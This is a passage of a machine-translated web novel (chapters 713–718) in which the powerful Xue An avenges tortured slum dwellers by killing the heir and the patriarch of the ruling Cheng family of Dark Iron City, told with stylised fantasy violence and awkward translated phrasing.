    Finally, some of the households who opened the door responded quickly, realizing that something major had happened, and immediately started shouting.


    To survive in such a chaotic and complicated world, as a big family like a married family is naturally very vigilant.


    Therefore, after hearing Mending''s shout, the whole family moved immediately.


    quickly.


    The butler in the front yard ran over.


    When I saw the scene in front of me, I couldn''t help but breathe in air-conditioning, and then immediately sent someone to block the scene.


    After a closer inspection, he took down Cheng Xiya who was hanging there, wrapped it in something, and rushed to the back house.


    quickly.


    All the people who were in charge of the married family rushed over When they saw Cheng Xia''s tragic situation, their complexion changed.


    "What''s the matter?" The question was the second master of the married family, Cheng Jinyi.


    "I don''t know! Just now I heard the cries of the housekeepers outside, and when I passed by, I saw that the lady was hung there! I asked the housekeepers, they only found out when they opened the door in the morning!"


    "Have anyone outside investigated?"


    "I''m investigating! But I don''t think there will be any gains!"


    As he was talking, someone from outside came to report, "Second Lord, I checked it outside and there is no clue!"


    "Asshole, could it be said that Missy would hang herself on it?" The Cheng Jinyi was furious.


    At this moment, there was a commotion outside.


    Then the door was pushed open, and a man with a dignified face and well-dressed in his fifties walked in.

 Chapter 713： Shadow Dragon Guard

    Behind him was a man with a smiling mouth and slightly curly hair.


    "Uncle!" The butler and many other people hurriedly retreated to the side.


    When the married man became Jin Jin, his face was sinking and he walked directly to Cheng Xiya''s body.


    After seeing the miserable death of his daughter, she couldn''t help looking pale when Cheng Jin.


    "Who did it?"


    "I don''t know, I''m still checking!"


    At this moment, the man standing behind Cheng Jinshi came over, "Father, let me take a look!"


    When Cheng Jin nodded slightly, he took a few steps back.


    Everyone''s eyes focused on the man with slightly curly hair.


    Except for the second master Cheng Jinyi''s eyes with a trace of jealousy and disdain, everyone else looked at them with respect.


    Because this young man is the most outstanding young man in the past 30 years of starting a family, and he is also the eldest son of the family owner, Cheng Liangyu.


    This Cheng Liangyu is only more than twenty years old, but he is already a long shadow guard in the main city of Silver, and is highly appreciated by the main city of Silver.


    For such a promising person, everyone naturally has to show respect.


    At this time, Cheng Liangyu had already checked it once, and then raised his head silently, a flash of anger flashed in his eyes.


    "How? Did you see anything?" Cheng Jinshi asked.


    Cheng Liangyu was silent for a moment, and then said in a deep voice: "This person is extremely cruel. First, he smashes Xia''s bones, and then uses unknown means to completely remove Xia''s blood. This situation seems to be ��Just like making specimens!"


    Hearing this sentence, everyone in the room looked at each other with complicated eyes.


    As a family member, who didn''t know that this young lady Cheng''s favorite was to torture people to death and then make all kinds of works of art.


    It turned out that she ended up in the same way when she died.


    When Cheng Jin''s face was ashen, "This bastard...Kill Xia, and hang him in front of the door. Is this deliberately demonstrating against my family?"


    Cheng Liangyu nodded slightly, "Father, I think this person is not only demonstrating, but also warning us, after all, what Xia did before is exactly the same as her current way of death. It''s hard not to doubt."


    When Cheng Jin gritted his teeth, "Warning...hehe! It''s funny! In this land under the jurisdiction of the Dark Iron City, someone would dare to warn us about starting a family?"


    At this moment, a housekeeper hurriedly ran in, "Master, I just checked it out. The last lady appeared in...Heshan Town!"


    Heshan Town?


    Heard the name.


    Many people can''t help but frown slightly.


    This dark iron city is only more than 200 kilometers away from Heshan Town in a straight line.


    But because the roads are rugged and pass through a terrifying wilderness, few people go there.


    I didn''t expect Miss Cheng to be there in the end.


    Everyone looked at Cheng Jinshi.


    Because he is the master of the family, he is the master of everything.


    When Cheng Jin looked at his son Cheng Liangyu.


    Cheng Liangyu clapped his hands and said very relaxedly: "Heshan Town...it happens that a friend of mine is coming over these two days, so let''s go together once at that time!"


    Hearing these words, everyone in the married family was relieved.


    Long Yingwei has taken action, so is there any problem that can''t be solved?


    The next day, a man came to Dark Iron City.


    This is an extremely thin man who can be blown away by a gust of wind.


    But Cheng Liangyu knew that if someone dared to look down upon his friend, he would definitely pay a very painful price.


    Because this person named Xiong Lei is a real Tier 4 master.


    And the awakening talent ability is very strange.


    Even if Cheng Liangyu is against him, he will lose more and lose less.


    For the arrival of this Xiong Lei, he became a family and expressed a great welcome.


    And Xiong Lei didn''t care much about all of this, he just said with some excitement: "I was going to be there tomorrow, but I received your letter on the road, why? Is there any fun or powerful master?"


    Cheng Liangyu sighed softly, "Someone killed my sister!"


    Xiong Lei raised his eyebrows when he heard the words, "You have a family in the Dark Iron City, and you are considered a strong one. Anyone dare to oppose you?"


    Cheng Liangyu said helplessly: "There is always someone who is not afraid of death! And my sister died very strange, would you like to take a look?"


    Xiong Lei nodded.


    Cheng Liangyu led him to the room where his sister''s body was parked.


    After seeing Cheng Xiya''s corpse, Xiong Lei''s face changed, and he said solemnly, "What a powerful spiritual mind!"


    Cheng Liangyu was startled slightly, "Divine Mind? You mean..."


    Xiong Lei nodded, "Yes, the injuries on your sister''s body and her final death were caused by someone directly acting on her spirit with divine thoughts!"


    Cheng Liangyu understood a little, and then frowned. For these masters, the last thing they want to meet is a guy who has awakened his spirituality.


    Because those masters of spiritual thinking generally have unpredictable abilities.


    It is often overwhelming.


    "Are you sure?" Cheng Liangyu asked softly.


    Xiong Lei licked his lips and smiled, "Unlike you, my favorite is the spiritual masters, because their brains are the best tonic for me! It seems that this time, I have come right!"


    Seeing him say this, Cheng Liangyu''s heart was let go.


    "Well, we will leave tomorrow!"


    The next day, the two who had prepared everything boarded the carriage to Heshan Town.


    On the way, Xiong Lei always looked awake.


    Cheng Liangyu killed the Warcraft along the way.


    This time, Long Yingwei led by him and Xiong Gangbing led by Xiong Lei successfully completed a task, so they got a rare opportunity to take a vacation.


    I didn''t expect to encounter this kind of thing just two days after I came back.


    Cheng Liangyu doesn''t have much affection for his sister.


    But he still wants to get ahead, because it''s about the face of a family.


    Imagine that the married lady was sent back as a specimen. If the married woman cannot fight back, what would outsiders think?


    For this cruel world where the weak and the strong eat, as long as you show your timidity, countless people will flock to you and tear you to pieces.


    For this, he also went to Heshan Town.


    As for the murderer who has not been found, it doesn''t matter.


    Anyway, after that, everyone in Heshan Town has no need to survive.


    They will be buried with the anger of the married family.


    at the same time.


    In the tavern in Heshan Town.


    of course.


    This pub is already closed now.


    Xue Xiang and Xue Nianzheng were playing with Chen Xiaomei.


    In fact, the age difference between them is quite big. Chen Xiaomei is eleven years old this year.


    Xue Xiang and Xue Nian were just seven years old.


    But because Chen Xiaomei has been struggling to survive at the bottom since she was a child, her long-term malnutrition has made her very thin.


    Even the two little girls are almost as tall as her.

 Chapter 714： Amazing talent

    Although she is a few years apart, Chen Xiaomei has never been so happy.


    Before, she was blind, so she could only sit in the shack and wait for her brother''s return.


    But now, my brother has completely awakened, and his injuries are completely healed.


    And there are two daughters of adults playing with them.


    Chen Xiaomei thinks this is simply heaven.


    At this time, Xue Xiang took out a piece of chocolate candy and stuffed it with Chen Xiaomei.


    "Little sister, have you eaten this?"


    Chen Xiaomei shook her head, "What is this?"


    "Hey, this is called chocolate candy, it''s delicious! Try it!"


    Xue Xiang opened the bag and handed it to Chen Xiaomei.


    Chen Xiaomei took it hesitantly, then broke a piece and put it in her mouth.


    Chew for a little bit, and then she was silly there.


    "What''s wrong? Isn''t it delicious?" Xue wanted to ask.


    Chen Xiaomei shook her head, "No!"


    "Then why are your eyes red?"


    Chen Xiaomei did have a sore nose and tears in her eyes.


    Because she has never eaten something so delicious.


    Sweet and soft, a feeling called happiness hits the soul when eating it, and even makes her faint.


    In fact, this is really not an exaggeration.


    Because from birth to now, Chen Xiaomei has eaten vulgar insects and drank severely radiated sewage.


    Don''t talk about sugar, sometimes even eating a full meal is a luxury.


    Growing up in such an environment, it was the first time she ate sugar, and she would naturally be moved beyond words.


    "It''s nothing, it''s so delicious!" Chen Xiaomei said softly.


    "Little sister, don''t cry, there are still a lot of sweets like this! And I will ask you to eat ice cream soon!" Xue Nian also comforted.


    Little sister Chen shook her head embarrassedly, "No need! I think it''s fine now, so don''t waste your adult''s stuff!"


    "Oh, my father has so many things with him! It''s enough for us to eat for a hundred years!" Xue Nian said proudly.


    Chen Xiaomei was a little fascinated when she heard that, "My lord, it''s really amazing!"


    The three of them are playing here.


    In the tavern courtyard, Xue An was teaching Chen Atu.


    "Your talent is good, but unfortunately there is no aura here, otherwise you can be a sword repairer. But you have also awakened a talent ability, so you have to grasp it!"


    "Yes!"


    "Now, use your strongest trick to deal with me!"


    Chen Atu was stunned, "My lord, I..."


    "Come on! I don''t need my hands, and you only need to touch a corner of my clothes, even if I lose!" Xue An stood with his hands and said lightly.


    Chen Atu''s enthusiasm was aroused.


    He naturally knew that Xue An was good.


    But since he woke up, his talent in swordsmanship has allowed his strength to directly cross the first order and reach the second order.


    If an adult dares not use his hands, he still has a chance of winning.


    So Chen Atu said in a deep voice, "My lord, you are offended!"


    After that, a blade of light appeared on Xue An''s chest.


    This is how terrible Chen Atu''s talent is.


    Unlike the sword qi used by the cultivator, this talent creates a ray of sword light out of thin air, so it is not limited by environment and time.


    As long as Chen Atu''s eyes can reach, he can call out the sword light.


    But this Dao Mang did not even touch the corner of Xue An''s clothes.


    Because Xue An had already turned sideways in the inconvenient time, avoiding the knife.


    But at this moment, another blade light appeared on Xue An''s side.


    Xue An finally smiled, "Good job!"


    As long as the talent is awakened, anyone can summon Dao Mang at will.


    But the location and timing are completely different.


    For example, Chen Atu, based on his perverted intuition about timing and location, if he were in the world of cultivators outside, he would definitely be a genius for the major sword sects.


    Chen Atu was a little worried at this time.


    Because I took this knife completely with the trend, I didn''t regret it until I used it.


    What if I hurt an adult?


    It just didn''t hurt, what if you really beat the adults?


    These two concerns flashed in my heart.


    But at this moment, Chen Atu saw Xue An easily dodge the knife once again from an almost impossible angle.


    Chen Atu never dreamed that there would be such a solution, and couldn''t help standing still.


    Xue An shook his head, "The most taboo thing when facing an enemy is to look forward and backward like you."


    "Remember, as long as you are on the battlefield, you will win, especially in this world. Losing may mean death!"


    Chen Atu nodded solemnly, "Yes!"


    And Xue An also changed his mind at this time. When he first started, he wanted to teach Chen Atu some sword techniques.


    But when he saw Chen Atu''s powerful talent, he couldn''t help dismissing this idea.


    Because all the tricks that can be followed can never compare to this kind of casual knife.


    This is the real antelope hanging horns.


    At this moment.


    Xue An suddenly felt something, raised his head and looked at the distant sky, and then a cold smile appeared at the corner of his mouth.


    "Is it finally here?"


    Chen Atu also noticed something strange, and followed Xue An''s gaze and turned to look.


    At this time An Yan also walked into the courtyard, "husband..."


    Xue An smiled slightly, "Don''t worry, I know that these people can''t give up because of a warning. Death has to be more violent, and this group of people will feel fear."


    At the same time, the residents of Heshan Town feel the atmosphere is a bit weird.


    Then I noticed that the ground beneath my feet was shaking slightly.


    Some were timid and hid in the house.


    Some daring ones ran into the open and looked into the distance.


    I saw a convoy coming fast in the sky in the distance.


    The smoke and dust on the walking place is frightening.


    "It''s not good! The adults in the city are here for revenge!"


    In the screams, these people fled like headless flies.


    at the same time.


    Cheng Liangyu stood on the front of the carriage, looking at the small Heshan town in the distance, gradually showing murderous intent on his faceXiong Lei was sitting on another galloping carriage shed. .


    No matter how bumpy he is, his body shape is just like sticking to the carport, unmoved at all.


    "Hehe, it smells like this person hasn''t left yet!" Xiong Lei said with a smile.


    His sense of smell is extremely sensitive, and he can smell a lot of information that ordinary people can''t detect.


    This makes him invincible in many cases.


    Soon, the convoy rushed directly into the streets of Heshan Town.


    The people on the street had already closed their doors, and none of them dared to show up.


    The streets are empty, only the wind blows.


    The carriage also slowed down slowly at this time.


    Cheng Liangyu and Xiong Lei winked at each other, and then drove slowly.

 Chapter 715： Radiation knot

    They can feel the breath of a strong man hidden in this small town, but they don''t know where it is.


    suddenly.


    Xiong Lei waved his hand to stop the convoy, and then licked his lips, "I smelled a faint scent of powder, there should be a beauty nearby!"


    As soon as his voice fell, a sword light appeared out of thin air just before his neck, and directly slashed across it.


    This scene came so suddenly that even Cheng Liangyu was unprepared.


    At this moment of inadmissibility, Xiong Lei twisted his waist in an extremely weird posture, and barely avoided this horizontal cut.


    Even so, he still took a little bit slower to hide, this knife light directly made a deep hole in his neck, and the blood slid down instantly.


    "Who!" Cheng Liangyu exclaimed.


    Xiong Lei was even more pale, his eyes flashing with fright.


    Only he knew that if he had just been a little bit late at night, then the knife would not only be as simple as cutting a hole, but would directly cut off his head.


    With lingering fears, he was naturally furious.


    So he snorted coldly, and pinched out a very weird seal with both hands, "Radiation Jie Ling, search for me!"


    Groups of evil spirits made of radiation appeared on the street.


    This is the special talent of this Xiong Lei.


    He can control the power of radiation, and give it a limited amount of spirituality, making it a thing that obeys his own command.


    This ability is extremely special, but also extremely useful.


    Because in this world, the most indispensable is the power of radiation.


    But just when these radiating fierce spirits were about to search everywhere, dozens of sword lights suddenly appeared in their bodies and then rushed out directly.


    These radiant spirits are like deflated leather balls, directly chopped to pieces.


    Cheng Liangyu roared at this time, and countless white feathers appeared in the void, and then went straight to the blade.


    At this moment, I saw it on the roof of a building on the side of the road.


    Chen Atu stood there, looking at them in his spare time, and then he smiled and said, "Hey, are you from the Dark Iron City?"


    Cheng Liangyu and Xiong Lei followed the sound, and when they saw Chen Atu, both of them were shocked.


    They had not had time to take a closer look just now because of the ghostly appearance of the sword mang. They only discovered something shocking when they saw Chen Atu now.


    That''s this boy, only second-order in strength.


    But just because of the strength of this second-order, it almost killed a fourth-order master just now.


    Cheng Liangyu and Xiong Lei looked at each other, and both saw the shock and killing intent in each other''s eyes.


    In this world, the strength of Tier 1 and Tier 2 is based on the strength of talent.


    But this division method has a big flaw.


    That is, it can only distinguish the strength of the talents you have, but it cannot compare horizontally.


    For example, you now have a talent ability that can control three throwing knives, which is Tier 1.


    When you can control the six throwing knives, then you have entered the second order.


    But the problem is that if there is a person at this time, his talent is to make a submachine gun out of thin air.


    At this time his ability is still the first order.


    But if the second-order thrower encounters this first-order submachine gun, there is a high probability that he will die.


    Because without waiting for your throwing knife to send out, the other party has already rushed you.


    To give this example is to say that even powerful warriors such as Cheng Liangyu and Xiong Lei would still fall into the sand when faced with some extremely powerful talents.


    And this ability of Chen Atu is extremely terrifying talent ability.


    Make a knife out of thin air, and is not limited by distance.


    This is simply an artifact of assassination.


    And now this little boy is only a second-order. If he gets better in the future, who else can be his opponent in the world?


    With this in mind, Cheng Liangyu and Xiong Lei were both full of infinite killing intent towards Chen Atu.


    If this child is not removed, it will become a future trouble.


    With this thought in mind, Xiong Lei closed his eyes suddenly, and the radiation from the surrounding sky and earth fluctuated like a tide. Then a layer of encirclement was formed around Chen Atu, which was firmly locked.


    Cheng Liangyu raised his hand and pointed, and countless Bai Yu went straight to Chen Atu.


    Facing the combined force of these two masters.


    Chen Atu wanted to use his natural ability.


    But the radiant power that trapped him firmly interfered with his actions.


    And the intense radiation began to burn the surface of his body.


    Under this circumstance, Chen Atu''s movements slowed down a bit, and the torrents of Bai Yu had already rushed over.


    "brother!"


    Chen Xiaomei, who was watching everything upstairs in the distance, screamed.


    Cheng Liangyu and Xiong Lei showed a hint of joy.


    But at this moment, someone suddenly appeared in front of Chen Atu.


    Those Baiyu torrents have rushed to the front.


    But this person stood with his hand held, and didn''t even move.


    And these white feathers gradually vanished and disappeared when they rushed in front of him.


    Such a scene made Cheng Liangyu look silly, "How is it possible?"


    Xiong Lei also trembled when he saw this, and then yelled, "Hey!"


    These radiation instantly condensed into a giant palm, and slammed Xue An.


    Xue An raised a smile at the corner of his mouth and gently stretched out his hand. This huge palm shrank in an instant, and then turned into a radiant light ball, floating in the palm of Xue An''s palm.


    Then Xue An squeezed it casually, and the radiation was directly crushed and turned into nothingness.


    Seeing this scene, Cheng Liangyu, Xiong Lei and others all had their eyelids jumped wildly.


    "kill him!"


    Xiong Lei roared, his eyes flashed, and a divine thought pierced through.


    But Xue An just smiled faintly, and suddenly the light in his eyes was bright, and the divine mind like the sea directly countered.


    Xiong Lei''s divine thoughts didn''t even arouse a wave of waves, and they disappeared invisible.


    "No... you divine mind..."


    Xiong Lei was shocked and exclaimed.


    But he couldn''t tell the rest.


    Because Xue An''s spirit has rushed to him, directly destroying his sea of ??consciousness.


    Then Xiong Lei floated into the air.


    boom!


    After a muffled noise Xiong Lei was crushed to life by an unknown force.


    "Xiong Lei!" Cheng Liangyu exclaimed.


    He did not expect that the Tier 4 master Xiong Lei who was in charge of Xiong Gangbing and was stronger than himself.


    But just a few minutes after entering this town, he died.


    This fact makes his hands and feet cold. At the same time, I was terrified.


    Originally, he thought that the one who killed his sister was a master who had awakened his spiritual talent.


    But just now, when Bai Yu Torrent faced this person with his own natural ability, he was extinguished without even a single wave of waves.


    This shows that this person has other more powerful talents.


    Thinking of this, Cheng Liangyu couldn''t help being frightened.


    But Xue An turned to look at him at this time and smiled slightly. "A family in Dark Iron City?"

 Chapter 716： From now on, I am your retribution...

    Cheng Liangyu was horrified, and took a few steps back subconsciously.


    Because the look in this man''s eyes is simply terrifying.


    When Cheng Liangyu was in the Silver City, he had also seen many Tier 5 or Tier 6 powerhouses.


    And the lord of Silver City is a peerless powerhouse.


    Cheng Liangyu, the leader of the Dragon Shadow Guardian, had naturally come into contact with City Lord Silver, and was deeply impressed by him, thinking that Lord City Lord was the most powerful man on the planet.


    Can be different from the violent power of the Silver City Lord.


    The power of this man is hidden under calm, like a huge iceberg hidden under the sea.


    Silent, yet awe-inspiring.


    This weird feeling made Cheng Liangyu uncomfortably want to vomit blood, and there was no more fighting in his heart. He just wanted to escape here as soon as possible, the farther the better.


    But as soon as he thought of this, he felt that he was lightened, and then he floated into the air.


    "you����."


    Cheng Liangyu screamed and tried to break free.


    But at this time, he found out in horror that he was completely disobedient, let alone struggling, and even moving his fingers became a luxury.


    Not only that, Cheng Liangyu tried to use his talents, only to find that even his talents could not be activated.


    At this time Xue An shook his head, "Don''t struggle, it''s useless!"


    Cheng Liangyu''s complexion instantly turned pale.


    Because he finally understood how huge the difference in strength between himself and this man was.


    "Big...sir, please forgive me for my previous offense!"


    Cheng Liangyu swallowed hard, and said in a harsh voice.


    He is a very proud man, who thought he would never beg for mercy from anyone in his life.


    But this kind of whole body paralysis, like a lamb to be slaughtered, made Cheng Liangyu feel great fear.


    So big that Cheng Liangyu, who thought he was not afraid of death, began to beg for mercy.


    Xue An smiled, and then said lightly: "Who is Cheng Xiya from you?"


    "Back... Master, it''s my sister!"


    Xue An nodded and did not speak.


    Cheng Liangyu''s brain was running wildly, and he began to rack his brains to raise vocabulary.


    "My lord, I really don''t know that you are such a powerful samurai. Please allow me to express my sincerest apologies for the previous offense!"


    After Cheng Liangyu finished speaking, seeing that Xue An didn''t show any expression, he was secretly relieved.


    Anyway, as long as he is willing to listen.


    So he went on to say: "My lord, my sister Cheng Xia is stubborn by nature. She must have rushed into an adult, so she can''t blame anyone else if she died! And as long as the adult is willing to let me go, then I will report to my home when I go back Getting married will definitely give you an explanation."


    That''s right.


    What Cheng Liangyu means now is that Xue An not only killed Cheng Xiya but also Cheng Jia would apologize enough for it.


    This was in stark contrast to the aggressiveness he had just arrived.


    And the reason for the 180-degree turning point was Xue An''s strength.


    In this cruel wasteland world, everything depends on strength.


    Without strength, you will likely end up like Atu brothers and sisters, becoming a plaything for the powerful and powerful.


    But as long as your strength is strong enough, even if you kill these so-called big men, the remaining nobles will sing praises to you.


    And for all this, these nobles will not be ashamed.


    Because this world is like this.


    Xue An still did not speak.


    This Cheng Liangyu''s heart became more relaxed, and then said with a faint smile: "My lord, no matter what the reason is, we will apologize to you for getting married. If you are willing to let me go, you will get The friendship and respect of a big family that has been in charge of Dark Iron City for decades!"


    "Even as long as you are willing, Chengjia would like to treat you as the most honored guest."


    Ke Qing refers to those warriors who take refuge in the rich.


    Cheng Liangyu''s abacus is very good.


    Xue An''s powerful strength, if it can be recruited, can even make Chengjia a first-class power in the Silver Council.


    But at this moment, Xue An suddenly raised his eyes and said indifferently: "Before you arrive at Heshan Town, are you thinking that if you don''t find me, then kill everyone in this town to vent your anger?"


    Cheng Liangyu who asked this sentence was stunned, and then said somewhat disapprovingly: "My lord, all the people living in this town are mutated untouchables. If you kill it, you will kill it!"


    To them such a wealthy family, people like Atu brothers and sisters can''t even be regarded as human beings, but only talking beasts.


    So he didn''t think there was anything wrong with his ideas.


    Xue An nodded when he heard the words, "Very good! But do you know why I made your sister into a specimen?"


    "Why... why?"


    Xue An smiled, "Because that was what she did to others, I just let her try it on her own. I didn''t expect that she didn''t even survive half of it and she had a nervous breakdown."


    Cheng Liangyu still didn''t understand what Xue An meant, but he still agreed with a smile, "My lord is really amazing."


    There was no indignation at the death of his sister.


    Xue An took a deep look at Cheng Liangyu, "And what she is cruelly cruelly, is a mutant untouchable in your mouth!"


    Cheng Liangyu was startled, she couldn''t believe her ears.


    He didn''t expect that the cause of everything was because of a pariah.


    "I know that in your eyes, these people can''t be regarded as humans at all, but in my eyes, are you not the same?" Xue An said lightly, with a cold light in his eyes.


    "No...sir, I knew it was wrong, I really didn''t know that you actually value these mutants so much... mutants!"


    Cheng Liangyu felt a bitter murderous aura as if he was about to tear himself apart scared him to shout incoherently.


    "I really hate this world, so I have to wait for the person who caused all this to appear, and you people..."


    Xue An said lightly, Cheng Liangyu felt the blood all over his body suddenly began to surge wildly.


    As if thinking of something, he yelled frantically.


    "You can''t kill me, I''m the Dragon Shadow Guardian of Silver City... You kill me, the Silver Council will not let you go!"


    The voice stopped abruptly, because a lot of blood poured out of Cheng Liangyu''s mouth.


    It seemed that he had vomited all the blood out of the whole body. In a blink of an eye, Cheng Liangyu''s body quickly dried up at a speed visible to the naked eye, and then became the same specimen as his sister.


    Seeing the remaining unwillingness in Cheng Liangyu''s eyes.


    Xue An said calmly: "I know you don''t believe in retribution, but from now on, I...is your retribution!"

 Chapter 717： Come out and mix it up

    Black Iron City is located next to a large mountain, surrounded by black mountains, and because the city walls are made of black iron ore, it is named after.


    Because of the blocking of mountains and the characteristics of the dark iron city wall, the radiation in the dark iron city is much lower than outside.


    Because of this, this place has become the only city within a thousand miles.


    When ���� becomes a family, he controls the lifeblood of this city, the water source!


    In this chaotic world, water is a vital resource.


    Who can control the water source is the overlord who deserves it.


    Getting into a family is the leading wealthy family in Dark Iron City.


    But these days, the atmosphere in the Dark Iron City is a bit strange.


    Because two days ago, a big event happened when getting married.


    Cheng Xia, the eldest lady of Chengjia who is known for her cruel bloodthirsty, was actually made into a specimen, and the body was still hung on the door of Chengjia


    The news spread like wildfire, and quickly spread throughout the Black Iron City.


    The domineering and arrogant things that have been in a family over the years have been deeply rooted in the hearts of the people, but this incident has secretly applauded many people living at the bottom.


    But then, Cheng''s family sent Cheng Liangyu, who was a Dragon Shadow Guardian in Silver City, and a master of Silver City to go out together to wipe out those who dared to offend their family dignity.


    This ordered everyone to silence it, and my heart was full of sighs.


    Because in the minds of these people, Silver City and Dragon Shadow Guard are all powerful pronouns.


    This unknown master must suffer.


    In this atmosphere, the family still sings and dances, and it looks like a wealthy family.


    this moment.


    A banquet is being held as a family.


    You can see the cups and plates in the banquet hall, and all kinds of delicacies are served up like water.


    The children of a family and several other wealthy families in Dark Iron City are getting together in groups, chatting and laughing.


    There is peace in the interlaced space.


    "By the way, Brother Liangyu should be back soon too!" A wealthy teenager said with a smile.


    "It''s about 200 kilometers from our Dark Iron City to Heshan Town, and it takes more than a day to get there! But I guess Brother Liangyu has processed everything now and is rushing back!" Another teenager Said.


    "Hehe, who is not good to provoke, and dare to provoke a family. It is estimated that even this Heshan town will no longer exist."


    "Speaking of which Brother Liangyu is powerful, he is already the Captain of the Dragon Shadow Guard at such a young age. I heard that he is still valued by the Silver City Lord. Given time, the future is even more limitless!" Someone sighed.


    While discussing.


    I saw Cheng Jinyi, the master of the Cheng family, and Cheng Jinyi, the second master, walking in.


    Everyone hurriedly got up to pay their respects.


    "I have seen the Patriarch!"


    "I have seen Erye!"


    These voices one after another.


    smiled and nodded when Cheng Jin, and then walked to the main platform.


    "Everyone of you came to join us today. I am very grateful to have a family. Some time ago, there was something unpleasant about the family, but you can rest assured that anyone who dares to marry me and fight against the Dark Iron City will die without a place to die.


    Hearing his words, the audience suddenly agreed.


    "That''s right!"


    "If you dare to provoke a family, you can''t get through with many of our rich men in Dark Iron City!"


    Seeing this scene, Cheng Jin nodded in satisfaction.


    The reason why this banquet is being held this time is largely to calm people''s hearts, but also to demonstrate the strength of a family, and to warn those who want to take this opportunity to make trouble, that the family is the well-deserved boss of the Dark Iron City.


    But just as these people were full of ambition, a calm voice came in from outside.


    "Are the many wealthy families in the city where you are married?"


    Everyone was shocked, and the second master of the married family even shouted in a deep voice when he became a brocade, "Who?"


    Before the words fell, I saw something flying in directly from outside the banquet hall, and after smashing two tables, it floated in the air.


    "This...this is..."


    When everyone in the banquet hall saw this thing, they couldn''t help but make a big mess.


    Because it is Cheng Liangyu who has become a corpse floating in the air.


    I saw the once high-spirited boy, now his cheeks are sunken, with a pair of godless eyes, and there are still fear and unwillingness before death in his eyes.


    Seeing this scene, everyone in the married family was angry at it.


    "Liang Yu!" When Cheng Jin screamed, he almost fainted.


    As the head of a married family, he had high hopes for his son when Cheng Jin was born, but he didn''t expect to die now.


    As for the others, it was even more shocking.


    Known as the best and most powerful young man in the Dark Iron City in 30 years, he died so miserably?


    Especially this method of death is exactly the same as Cheng Xia a few days ago, which is even more shocking.


    Cheng Jinyi''s eyes flashed with joy, but did not show it. Instead, he roared: "Who dares to kill my nephew?"


    "I killed it!"


    Following the voice, Xue An walked in slowly, then looked around at everyone in the audience, and finally focused on the pale-faced Cheng Jinshi, and said lightly: "This gift, do you like this gift when you get married?"


    "Who on earth are you? Why do you want to start a family with me?" Cheng Jin is indeed the head of the family. Although he has experienced the pain of losing a child, he has returned to normal within a few breaths, and then he asked in a deep voice.


    At the same time, he quietly winked at the back, and some of his subordinates understood, and quietly got out of the crowd and disappeared into the banquet hall.


    Xue An didn''t seem to see all of this but shook his head, "You''re right? You are wrong, I didn''t fight against you!"


    "I just want to tell you a truth!"


    "What is the reason?" Cheng Jinshi asked in a deep voice.


    Xue An showed her white teeth and smiled sorrowfully, "That is... if you come out, you will always have to pay it back!"


    The voice just fell.


    Just listening to the chaotic footsteps outside the banquet hall, someone surrounded the banquet hall, and then several powerful masters walked in.


    These people walked straight behind Cheng Jinshi, and looked at Xue An with bad eyes.


    Seeing these people coming, my waist straightened up when Cheng Jin, and he smiled grinningly: "You have to pay it back when you come out, but if you kill me, you have to pay it back! Kill him!"


    gave an order


    The people who were standing behind him rushed out together, displayed their talents and abilities, and hit Xue An with death.


    These people are masters raised by married families, and they are usually pampered in order to move forward when something happens.


    And the strength of these people is pretty good.


    Most of them are Tier 3, and there are even a few quasi Tier 4 masters.


    For a time, the banquet hall was in chaos, and all kinds of weird talents agitated.


    But there is only one goal, and that is Xue An standing there.


    But just when these people rushed to the front, Xue An''s mouth raised a cold smile, and said lightly.


    "Go!".


    The sound is not loud.


    These people who rushed to the front were all exploded into blood mist.

 Chapter 718： Sin as a flame from the heart

    In an instant, the so-called masters who rushed over all exploded into pieces.


    The blood mist was scattered in the midair of the banquet hall, staining people who were close with blood.


    But no one wiped it.


    Because everyone was shocked by this tragic and **** beauty scene.


    Xue An stood with his hands behind, and when he looked at Cheng Jin on the opposite side, he said lightly: "Anything else?"


    trembles when it becomes a brocade, and says in horror: "You...you..."


    He never dreamed that this man who didn''t know where he emerged would be so tough.


    didn''t even do anything, so all the masters raised by his family died.


    "If not, then go to death!"


    boom!


    The married patriarch originally wanted to say something, but with a muffled noise, his head exploded into a cloud of blood.


    The body fell to the ground.


    Everyone took a breath, and they all took a few steps back.


    She was timid and could not stand up anymore, and fell to the ground with a plop.


    Chengjia is the well-deserved No. 1 wealthy family in Dark Iron City, and it has been in charge of this family for decades when it was established.


    is such a big man, but he died without even saying a word of mercy.


    Such a simple and decisive killing shocked everyone in the audience.


    At this time, Xue An frowned in distress, and then sighed.


    "Forgot one thing, but didn''t tell you why I wanted to kill you!"


    These people heard them all over with hair on their bodies, and some of them were near the door and wanted to leave quietly.


    But when they came to the door and just took a step, the whole person was silently transformed into nothingness.


    Such a weird and terrifying scene completely dispelled these people''s desire to escape.


    At this time, Cheng Jinyi stepped forward decisively and bowed towards Xue An.


    "My lord, marrying a family surrenders, I only hope that you can raise your hands and let us go! Marrying a family hopes that only adults will be the first!"


    No one dared to speak.


    Everyone stared blankly at Cheng Jinyi, who bowed and gave salutes, and some of those who were active had already guessed Cheng Jinyi''s mind at this moment.


    If it is said that who is the happiest now to get married, it must be this Cheng Jinyi.


    As the second head of a married family, there is always a patron on top of him.


    As long as he doesn''t die when he becomes a brocade, then he will never make his head.


    What''s more, Cheng Liangyu''s power behind is getting bigger and bigger.


    All this caused the second master of the married family to gradually extinguish the thoughts of fighting for power.


    But I didn''t expect that father and son were all dead when the brocade was completed today.


    So logically, he will become the head of the family.


    Under such temptation, he naturally chose to admit defeat in the first place.


    Because as long as he can save his life, he will benefit the most.


    Facing his surrender, Xue An never said a word, just watched quietly.


    Until the sweat stains appeared on Cheng Jinyi''s forehead, Xue An said lightly: "Are you very happy now?"


    Cheng Jinyi trembled all over, then raised his face and said sincerely, "Yes, my lord!"


    Cheng Jinyi is a very smart person. Although he can''t see the origin of Xue An, he can also see that this is a peerless and powerful man.


    In front of this kind of person, it is best not to play any thoughts, to be honest is the best choice.


    As expected.


    Xue An smiled.


    "You are very smart!"


    A flash of joy flashed in Cheng Jinyi''s eyes, and then he lowered his head deeply, "In front of a strong man like you, it is right to be humble and honest."


    "But I killed your brother and nephew, don''t you feel sad?" Xue An said lightly.


    Cheng Jinyi shook his head lightly, "Anyone who opposes a strong man like you is their own responsibility, and they can''t blame others!"


    Xue An nodded when he heard the words, "That''s good!"


    Cheng Jin Yi secretly breathed a sigh of relief, thinking that he was a bet, and couldn''t help secretly rejoicing.


    Brother, brother!


    You were so clever and confused for a while, you were actually dizzy because of the death of a son, and you opposed a peerless strong man! But it doesn''t matter if you are dead, I can only take charge of the family when you die.


    just when he was proud.


    Xue An said lightly: "Since you are so smart, do you know why I want to kill them?"


